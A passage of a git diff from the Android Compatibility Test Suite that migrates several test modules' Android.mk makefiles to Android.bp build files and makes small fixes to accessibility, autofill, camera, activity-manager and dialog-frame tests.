+ name: "CtsJobSchedulerSharedUid",
+ defaults: ["cts_defaults"],
+ static_libs: ["compatibility-device-util-axt"],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "test_current",
+}
diff --git a/tests/JobSchedulerSharedUid/shareduid/Android.mk b/tests/JobSchedulerSharedUid/shareduid/Android.mk
deleted file mode 100644
index cfc89cd..0000000
--- a/tests/JobSchedulerSharedUid/shareduid/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util-axt \
-
-LOCAL_SRC_FILES := \
- $(call all-java-files-under, src) \
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsJobSchedulerSharedUid
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index d535fab..5718c21 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -355,6 +355,11 @@
" - Watches have different notification system.");
return;
}
+ if (pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE)) {
+ Log.i(LOG_TAG, "Skipping: testTypeNotificationStateChangedAccessibilityEvent" +
+ " - Automotive handle notifications differently.");
+ return;
+ }
String message = getActivity().getString(R.string.notification_message);
diff --git a/tests/autofillservice/res/layout/view_attribute_test_activity.xml b/tests/autofillservice/res/layout/view_attribute_test_activity.xml
index d03d65c..bcb7ff1 100644
--- a/tests/autofillservice/res/layout/view_attribute_test_activity.xml
+++ b/tests/autofillservice/res/layout/view_attribute_test_activity.xml
@@ -69,21 +69,21 @@
android:layout_height="wrap_content"
android:layout_width="wrap_content"
android:paddingTop="23px"
- android:paddingBottom="31px"
+ android:paddingBottom="11px"
android:paddingLeft="37px"
android:paddingRight="29px"
android:orientation="vertical"
android:background="#00F"
android:importantForAutofill="yes">
<EditText android:id="@+id/tripleNestedView"
- android:layout_height="41px"
+ android:layout_height="11px"
android:layout_width="43px"
android:background="#FF0"
android:importantForAutofill="yes" />
</LinearLayout>
<EditText android:id="@+id/secondDoubleNestedView"
- android:layout_height="47px"
+ android:layout_height="17px"
android:layout_width="53px"
android:background="#F0F"
android:importantForAutofill="yes" />
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
index e0313c6..775061c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
@@ -26,6 +26,7 @@
import android.view.autofill.AutofillValue;
import android.widget.EditText;
+
import androidx.annotation.IdRes;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
@@ -182,15 +183,14 @@
// check size of outerView
AssistStructure.ViewNode outerView = findNodeByResourceId(structure,
"outerView");
-
// The size of the view should include all paddings and size of all children
assertThat(outerView.getHeight()).isEqualTo(
2 // outerView.top
+ 11 // nestedView.top
+ 23 // doubleNestedView.top
- + 41 // tripleNestedView.height
- + 47 // secondDoubleNestedView.height
- + 31 // doubleNestedView.bottom
+ + 11 // tripleNestedView.height
+ + 17 // secondDoubleNestedView.height
+ + 11 // doubleNestedView.bottom
+ 17 // nestedView.bottom
+ 5); // outerView.bottom
assertThat(outerView.getWidth()).isEqualTo(
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java
index 698aa44..0cde04e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java
@@ -284,7 +284,9 @@
// Fill in some stuff
mActivity.mUsername.setText("foo");
+ sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
focusToPasswordExpectNoWindowEvent();
+ sReplier.getNextFillRequest();
mActivity.mPassword.setText("bar");
// Change URL bar before views become invisible
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index e74405f..6a16b10 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -913,12 +913,14 @@
Log.i(TAG, String.format(
"Testing Camera %s for abandoning surface of a repeating request", id));
- openDevice(id);
- if (!mStaticInfo.isColorOutputSupported()) {
+ StaticMetadata staticInfo = mAllStaticInfo.get(id);
+ if (!staticInfo.isColorOutputSupported()) {
Log.i(TAG, "Camera " + id + " does not support color output, skipping");
continue;
}
+ openDevice(id);
+
try {
SurfaceTexture preview = new SurfaceTexture(/*random int*/ 1);
diff --git a/tests/framework/base/activitymanager/app/AndroidManifest.xml b/tests/framework/base/activitymanager/app/AndroidManifest.xml
index 2b91190..b445091 100755
--- a/tests/framework/base/activitymanager/app/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/app/AndroidManifest.xml
@@ -140,7 +140,6 @@
/>
<activity android:name=".LaunchIntoPinnedStackPipActivity"
android:resizeableActivity="false"
- android:supportsPictureInPicture="true"
androidprv:alwaysFocusable="true"
android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
android:exported="true"
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
index 8c3941f5..74f4546 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
@@ -106,10 +106,11 @@
launchActivity(DEBUGGABLE_APP_ACTIVITY);
executeShellCommand(getStopProfileCmd(DEBUGGABLE_APP_ACTIVITY));
- // Sleep for 0.1 second (100 milliseconds) so the generation of the profiling
+
+ // Sleep for 0.3 second (300 milliseconds) so the generation of the profiling
// file is complete.
try {
- Thread.sleep(100);
+ Thread.sleep(300);
} catch (InterruptedException e) {
//ignored
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
index 9554f69..822d103 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTestActivity.java
@@ -56,7 +56,6 @@
static final String TEST_WITH_MARGINS = "WithMargins";
private AlertDialog mDialog;
- private int mSize;
@Override
protected void onStop() {
@@ -72,7 +71,6 @@
private void setupTest(Intent intent) {
final String testCase = intent.getStringExtra(EXTRA_TEST_CASE);
- mSize = getSize();
switch (testCase) {
case TEST_MATCH_PARENT:
testMatchParent();
@@ -145,23 +143,23 @@
private void testExplicitSize() {
doLayoutParamTest(params -> {
- params.width = mSize;
- params.height = mSize;
+ params.width = 200;
+ params.height = 200;
});
}
private void testExplicitSizeTopLeftGravity() {
doLayoutParamTest(params -> {
- params.width = mSize;
- params.height = mSize;
+ params.width = 200;
+ params.height = 200;
params.gravity = Gravity.TOP | Gravity.LEFT;
});
}
private void testExplicitSizeBottomRightGravity() {
doLayoutParamTest(params -> {
- params.width = mSize;
- params.height = mSize;
+ params.width = 200;
+ params.height = 200;
params.gravity = Gravity.BOTTOM | Gravity.RIGHT;
});
}
@@ -211,15 +209,10 @@
params.gravity = Gravity.LEFT | Gravity.TOP;
params.horizontalMargin = .25f;
params.verticalMargin = .35f;
- params.width = mSize;
- params.height = mSize;
+ params.width = 200;
+ params.height = 200;
params.x = 0;
params.y = 0;
});
}
-
- private int getSize() {
- float density = getResources().getDisplayMetrics().density;
- return (int)(200 * density);
- }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
index 4d3fe61..c7208f3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -47,7 +47,6 @@
import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
-import org.junit.Before;
import java.util.List;
@@ -68,11 +67,6 @@
new ActivityTestRule<>(DialogFrameTestActivity.class, false /* initialTOuchMode */,
false /* launchActivity */);
- @Before
- public void setUp() {
- mSize = getSize();
- }
-
@Override
ComponentName activityName() {
return DIALOG_FRAME_TEST_ACTIVITY;
@@ -123,7 +117,6 @@
}
private static final int explicitDimension = 200;
- private int mSize = explicitDimension;
// The default gravity for dialogs should center them.
@Test
@@ -131,10 +124,10 @@
doParentChildTest(TEST_EXPLICIT_SIZE, (parent, dialog) -> {
Rect contentFrame = parent.getContentFrame();
Rect expectedFrame = new Rect(
- contentFrame.left + (contentFrame.width() - mSize) / 2,
- contentFrame.top + (contentFrame.height() - mSize) / 2,
- contentFrame.left + (contentFrame.width() + mSize) / 2,
- contentFrame.top + (contentFrame.height() + mSize) / 2);
+ contentFrame.left + (contentFrame.width() - explicitDimension) / 2,
+ contentFrame.top + (contentFrame.height() - explicitDimension) / 2,
+ contentFrame.left + (contentFrame.width() + explicitDimension) / 2,
+ contentFrame.top + (contentFrame.height() + explicitDimension) / 2);
assertEquals(expectedFrame, dialog.getFrame());
});
}
@@ -146,8 +139,8 @@
Rect expectedFrame = new Rect(
contentFrame.left,
contentFrame.top,
- contentFrame.left + mSize,
- contentFrame.top + mSize);
+ contentFrame.left + explicitDimension,
+ contentFrame.top + explicitDimension);
assertEquals(expectedFrame, dialog.getFrame());
});
}
@@ -157,8 +150,8 @@
doParentChildTest(TEST_EXPLICIT_SIZE_BOTTOM_RIGHT_GRAVITY, (parent, dialog) -> {
Rect contentFrame = parent.getContentFrame();
Rect expectedFrame = new Rect(
- contentFrame.left + contentFrame.width() - mSize,
- contentFrame.top + contentFrame.height() - mSize,
+ contentFrame.left + contentFrame.width() - explicitDimension,
+ contentFrame.top + contentFrame.height() - explicitDimension,
contentFrame.left + contentFrame.width(),
contentFrame.top + contentFrame.height());
assertEquals(expectedFrame, dialog.getFrame());
@@ -243,8 +236,8 @@
Rect expectedFrame = new Rect(
(int) (horizontalMargin * frame.width() + frame.left),
(int) (verticalMargin * frame.height() + frame.top),
- (int) (horizontalMargin * frame.width() + frame.left) + mSize,
- (int) (verticalMargin * frame.height() + frame.top) + mSize);
+ (int) (horizontalMargin * frame.width() + frame.left) + explicitDimension,
+ (int) (verticalMargin * frame.height() + frame.top) + explicitDimension);
assertEquals(expectedFrame, dialog.getFrame());
});
}
@@ -258,10 +251,4 @@
assertThat(wmState.getZOrder(dialog), greaterThan(wmState.getZOrder(parent)))
);
}
-
- private int getSize() {
- float density =
- InstrumentationRegistry.getContext().getResources().getDisplayMetrics().density;
- return (int)(200 * density);
- }
}
diff --git a/tests/inputmethod/Android.bp b/tests/inputmethod/Android.bp
new file mode 100644
index 0000000..1309bcb
--- /dev/null
+++ b/tests/inputmethod/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsInputMethodTestCases",
+ defaults: ["cts_defaults"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "cts_instant",
+ ],
+ compile_multilib: "both",
+ libs: ["android.test.runner.stubs"],
+ static_libs: [
+ "androidx.test.rules",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "CtsMockInputMethodLib",
+ ],
+ srcs: [
+ "src/**/*.java",
+ "src/**/I*.aidl",
+ ],
+ aidl: {
+ local_include_dirs: ["src"],
+ },
+ sdk_version: "test_current",
+}
diff --git a/tests/inputmethod/Android.mk b/tests/inputmethod/Android.mk
deleted file mode 100644
index 1315844..0000000
--- a/tests/inputmethod/Android.mk
+++ /dev/null
@@ -1,49 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_MULTILIB := both
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- androidx.test.rules \
- compatibility-device-util-axt \
- ctstestrunner-axt \
- CtsMockInputMethod
-
-LOCAL_SRC_FILES := \
- $(call all-java-files-under, src) \
- $(call all-Iaidl-files-under, src)
-
-LOCAL_AIDL_INCLUDES += $(LOCAL_PATH)/src
-
-LOCAL_PACKAGE_NAME := CtsInputMethodTestCases
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/inputmethod/mockime/Android.bp b/tests/inputmethod/mockime/Android.bp
new file mode 100644
index 0000000..81a8f08
--- /dev/null
+++ b/tests/inputmethod/mockime/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_helper_library {
+ name: "CtsMockInputMethodLib",
+ sdk_version: "test_current",
+
+ // TODO: ideally we should split MockIme source files into three categories
+ // 1) common, 2) common + IME-only, and 3) common + client-only.
+ // Currently, both MockIme APK and test APKs that use MockIme contain
+ // all the Java classes, which is inefficient.
+ srcs: ["src/**/*.java"],
+ libs: ["junit"],
+ static_libs: [
+ "androidx.annotation_annotation",
+ "compatibility-device-util-axt",
+ ],
+}
+
diff --git a/tests/inputmethod/mockime/Android.mk b/tests/inputmethod/mockime/Android.mk
deleted file mode 100644
index 2265b34..0000000
--- a/tests/inputmethod/mockime/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsMockInputMethod
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := junit
-LOCAL_STATIC_JAVA_LIBRARIES := \
- androidx.annotation_annotation \
- compatibility-device-util-axt
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/jdwp/OWNERS b/tests/jdwp/OWNERS
new file mode 100644
index 0000000..6e06299
--- /dev/null
+++ b/tests/jdwp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include /hostsidetests/jvmti/run-tests/OWNERS
diff --git a/tests/libcore/Android.mk b/tests/libcore/Android.mk
deleted file mode 100644
index 00d1223..0000000
--- a/tests/libcore/Android.mk
+++ /dev/null
@@ -1,16 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Build the test APK using its own makefile, and any other CTS-related packages
-include $(call all-subdir-makefiles)
diff --git a/tests/libcore/jsr166/Android.bp b/tests/libcore/jsr166/Android.bp
new file mode 100644
index 0000000..83e0331
--- /dev/null
+++ b/tests/libcore/jsr166/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsLibcoreJsr166TestCases",
+ defaults: ["cts_support_defaults"],
+ platform_apis: true,
+ static_libs: [
+ "cts-core-test-runner-axt",
+ "jsr166-tests",
+ ],
+ dex_preopt: {
+ enabled: false,
+ },
+ optimize: {
+ enabled: false,
+ },
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ java_resources: [":libcore-expectations-knownfailures"],
+}
diff --git a/tests/libcore/jsr166/Android.mk b/tests/libcore/jsr166/Android.mk
deleted file mode 100644
index 3cb2bfa..0000000
--- a/tests/libcore/jsr166/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreJsr166TestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- cts-core-test-runner-axt \
- jsr166-tests
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/luni/Android.bp b/tests/libcore/luni/Android.bp
new file mode 100644
index 0000000..a754ce4
--- /dev/null
+++ b/tests/libcore/luni/Android.bp
@@ -0,0 +1,63 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsLibcoreTestCases",
+ defaults: ["cts_support_defaults"],
+ platform_apis: true,
+ static_libs: [
+ "apache-harmony-tests",
+ "conscrypt-tests",
+ "core-tests",
+ "cts-core-test-runner-axt",
+ "mockito-target-minus-junit4",
+ "time_zone_distro-tests",
+ "time_zone_distro_installer-tests",
+ ],
+ dex_preopt: {
+ enabled: false,
+ },
+ dxflags: ["--multi-dex"],
+ // Exclude apache harmony tests from coverage instrumentation, since it breaks
+ // the tests of reflection APIs by adding fields and methods to the test classes.
+ jacoco: {
+ exclude_filter: ["org.apache.harmony.tests.**"],
+ },
+ optimize: {
+ enabled: false,
+ },
+ jni_libs: [
+ "libjavacoretests",
+ "libsqlite_jni",
+ "libnativehelper_compat_libc++",
+ "libc++",
+ ],
+ // Include both the 32 and 64 bit versions of libjavacoretests,
+ // where applicable.
+ compile_multilib: "both",
+ // This test requires cts-dalvik-host-test-runner to be built to run via Atest.
+ host_required: ["cts-dalvik-host-test-runner"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ // NOTE: virtualdeviceknownfailures.txt is only used for simulated/cloud-based
+ // continuous build configurations, so it's not referenced in AndroidTest.xml
+ java_resources: [
+ ":libcore-expectations-knownfailures",
+ ":libcore-expectations-virtualdeviceknownfailures",
+ ],
+}
diff --git a/tests/libcore/luni/Android.mk b/tests/libcore/luni/Android.mk
deleted file mode 100644
index 2ba08cb..0000000
--- a/tests/libcore/luni/Android.mk
+++ /dev/null
@@ -1,66 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- apache-harmony-tests \
- conscrypt-tests \
- core-tests \
- cts-core-test-runner-axt \
- mockito-target-minus-junit4 \
- time_zone_distro-tests \
- time_zone_distro_installer-tests
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-LOCAL_DX_FLAGS := --multi-dex
-
-# Exclude apache harmony tests from coverage instrumentation, since it breaks
-# the tests of reflection APIs by adding fields and methods to the test classes.
-LOCAL_JACK_COVERAGE_EXCLUDE_FILTER := org.apache.harmony.tests.*
-
-LOCAL_PROGUARD_ENABLED := disabled
-# Keep META-INF/ resources from LOCAL_STATIC_JAVA_LIBRARIES. http://b/62341677
-LOCAL_DONT_DELETE_JAR_META_INF := true
-LOCAL_JNI_SHARED_LIBRARIES := libjavacoretests libsqlite_jni libnativehelper_compat_libc++ libc++
-
-# Include both the 32 and 64 bit versions of libjavacoretests,
-# where applicable.
-LOCAL_MULTILIB := both
-
-# This test requires cts-dalvik-host-test-runner to be built to run via Atest.
-LOCAL_HOST_REQUIRED_MODULES := cts-dalvik-host-test-runner
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# NOTE: virtualdeviceknownfailures.txt is only used for simulated/cloud-based
-# continuous build configurations, so it's not referenced in AndroidTest.xml
-LOCAL_JAVA_RESOURCE_FILES := \
- libcore/expectations/knownfailures.txt \
- libcore/expectations/virtualdeviceknownfailures.txt
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/ojluni/Android.bp b/tests/libcore/ojluni/Android.bp
new file mode 100644
index 0000000..83fe2aa
--- /dev/null
+++ b/tests/libcore/ojluni/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsLibcoreOjTestCases",
+ defaults: ["cts_support_defaults"],
+ platform_apis: true,
+ static_libs: ["core-ojtests-public"],
+ libs: ["testng"],
+ dxflags: ["--core-library"],
+ dex_preopt: {
+ enabled: false,
+ },
+ optimize: {
+ enabled: false,
+ },
+ // Include both the 32 and 64 bit versions of libjavacoretests,
+ // where applicable.
+ compile_multilib: "both",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ java_resources: [":libcore-expectations-knownfailures"],
+}
diff --git a/tests/libcore/ojluni/Android.mk b/tests/libcore/ojluni/Android.mk
deleted file mode 100644
index 8354615..0000000
--- a/tests/libcore/ojluni/Android.mk
+++ /dev/null
@@ -1,52 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreOjTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- core-ojtests-public
-
-LOCAL_JAVA_LIBRARIES := testng
-
-LOCAL_DX_FLAGS := --core-library
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-
-# Keep META-INF/ resources from LOCAL_STATIC_JAVA_LIBRARIES. http://b/62231394
-LOCAL_DONT_DELETE_JAR_META_INF := true
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# Include both the 32 and 64 bit versions of libjavacoretests,
-# where applicable.
-LOCAL_MULTILIB := both
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/okhttp/Android.bp b/tests/libcore/okhttp/Android.bp
new file mode 100644
index 0000000..5052019
--- /dev/null
+++ b/tests/libcore/okhttp/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsLibcoreOkHttpTestCases",
+ defaults: ["cts_support_defaults"],
+ platform_apis: true,
+ static_libs: [
+ "bouncycastle-unbundled",
+ "cts-core-test-runner-axt",
+ "okhttp-nojarjar",
+ "okhttp-tests-nojarjar",
+ ],
+ dex_preopt: {
+ enabled: false,
+ },
+ optimize: {
+ enabled: false,
+ },
+ // Include both the 32 and 64 bit versions of libjavacoretests,
+ // where applicable.
+ compile_multilib: "both",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
